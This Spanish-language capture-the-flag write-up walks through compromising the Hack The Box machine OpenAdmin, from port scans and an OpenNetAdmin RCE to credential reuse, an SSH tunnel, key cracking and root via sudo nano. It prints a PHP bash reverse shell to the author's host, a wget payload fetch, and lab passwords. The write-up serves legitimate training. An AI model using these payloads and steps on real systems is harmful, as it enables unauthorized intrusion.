This page looks best with JavaScript enabled

Hack The Box - OpenAdmin

 •  ✍️ sckull

OpenAdmin es una maquina de HackTheBox donde encontramos una vulnerabilidad RCE en OpenNetAdmin que aprovechamos para ejecutar una shell inversa. Accedimos al siguiente usuario con contraseñas almacenadas. Tras analizar el codigo fuente de una pagina, ejecutamos un Tunnel para obtener esta localmente y finalmente obtener una clave privada para acceder a otro usuario por SSH. Escalamos privilegios utilizando Nano e informacion de GTFOBins.

Informacion de la Maquina

Nombre OpenAdmin box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.171
Maker

del_KZx497Ju

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.8, 5.1, 7.1, 2.9, 4.9],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

MASSCAN & NMAP

Escaneo de puertos tcp y servicios con masscan y nmap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-08 05:54:56 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.171 
Discovered open port 80/tcp on 10.10.10.171

# Nmap 7.80 scan initiated Tue Jan  7 23:51:39 2020 as: nmap -p- --min-rate 1000 -sV -sC -o nmap_scan 10.10.10.171
Warning: 10.10.10.171 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.171
Host is up (0.15s latency).
Not shown: 65528 closed ports
PORT      STATE    SERVICE    VERSION
22/tcp    open     tcpwrapped
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp    open     http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
16874/tcp filtered unknown
31545/tcp filtered unknown
40838/tcp filtered unknown
42307/tcp filtered unknown
47055/tcp filtered unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan  7 23:53:43 2020 -- 1 IP address (1 host up) scanned in 123.98 seconds

HTTP

Pagina por default de Apache.
image

GOBUSTER - HTTP

Busqueda de directorios y archivos con gobuster.

1
2
3
4
5
6
root@aoiri:~/htb/openadmin# gobuster dir -u http://10.10.10.171 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 115 -x php,html,txt -q
/index.html (Status: 200)
/music (Status: 301)
/artwork (Status: 301)
/sierra (Status: 301)
/marga (Status: 301)

/music

image

/sierra

image

/marga

image

/artwork

image

OpenNetAdmin 18.1.1 - RCE

En la pagina de /music encontramos que la pagina login nos redirige hacia otra pagina diferente (/ona), en la cual esta corriendo el gestor OpenNetAdmin en su version 18.1.1.
image

Este gestor tiene una vulnerabilidad del tipo RCE y encontramos un exploit (OpenNetAdmi - ExploitDB ) que aprovecha esta vulnerabilidad, ejecutamos dicho exploit pasandole la url como parametro.

image

USER - Jimmy

Ahora que podemos ejecutar comandos vamos a actualizar nuestra shell a una shell inversa utilizando PHP, descargando el archivo y abriendolo en el navegador para ejecutarlo.

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.72/1227 0>&1'");

Descargamos en la maquina:

1
wget 10.10.15.72/sc.php

Obtenemos nuestra shell inversa:

image

Entre los archivos de configuracion de la base de datos de OpenNetAdmin encontramos las credenciales para acceder a la base de datos, utilizamos la contraseña para obtener una shell con el usuario Jimmy.
image

Jimmy:
image

Credenciales:

jimmy:n1nj4W4rri0R!

USER - Joanna

Dentro de la carpeta /var/www/ donde usualmente se encuentran las paginas de apache, vemos que jimmy tiene permisos en una de las carpetas.
image

Cambiamos nuestra shell a SSH con el usuario Jimmy para poder enumerar los archivos dentro de la carpeta /home y /var/www.
image

En la carpeta principal de Jimmy encontramos un archivo PHP - post.php el cual hace una solicitud con curl (en PHP) enviando un usuario y contraseña y obtiene el resultado de la solicitud.
image

Al ejecutarlo nos muestra un error:
image

Pero la solicitud la hace hacia el localhost de la maquina en un puerto que no es publico.
image

En /var/www/internal, vemos que en archivo index.php existe una contraseña encriptada.
image

Con la ayuda de crackstation logramos obtener en texto plano la contraseña:
image

Credenciales:

jimmy:Revealed

Ahora que conocemos todo esto, traemos localmente el puerto 52846 utilizando SSH, visitamos la pagina y nos muestra un panel de logeo.

SSH:

1
ssh -L 8080:localhost:52846 jimmy@10.10.10.171

Netstat:
image

Panel:
image

Ingresamos las credenciales que obtuvimos en el archivo index, y nos muestra una clave privada de SSH encryptada.
image

Utilizamos john the ripper para crackear la frase e iniciar sesion con la clave privada.
image

Frase:bloodninjas

SSH Joanna:
Obtenemos una shell y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Utilizamos sudo para ver los comandos que podemos utilizar sin contraseña, vemos que nano es uno de ellos, con la ayuda de GTFOBbins - nano obtenemos una shell commo root y con ello nuestra flag root.txt.

image

BTW Podemos agregar nuestra clave publica al archivo authorized_keys del usuario root e iniciar sesion con nuestra clave privada.
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe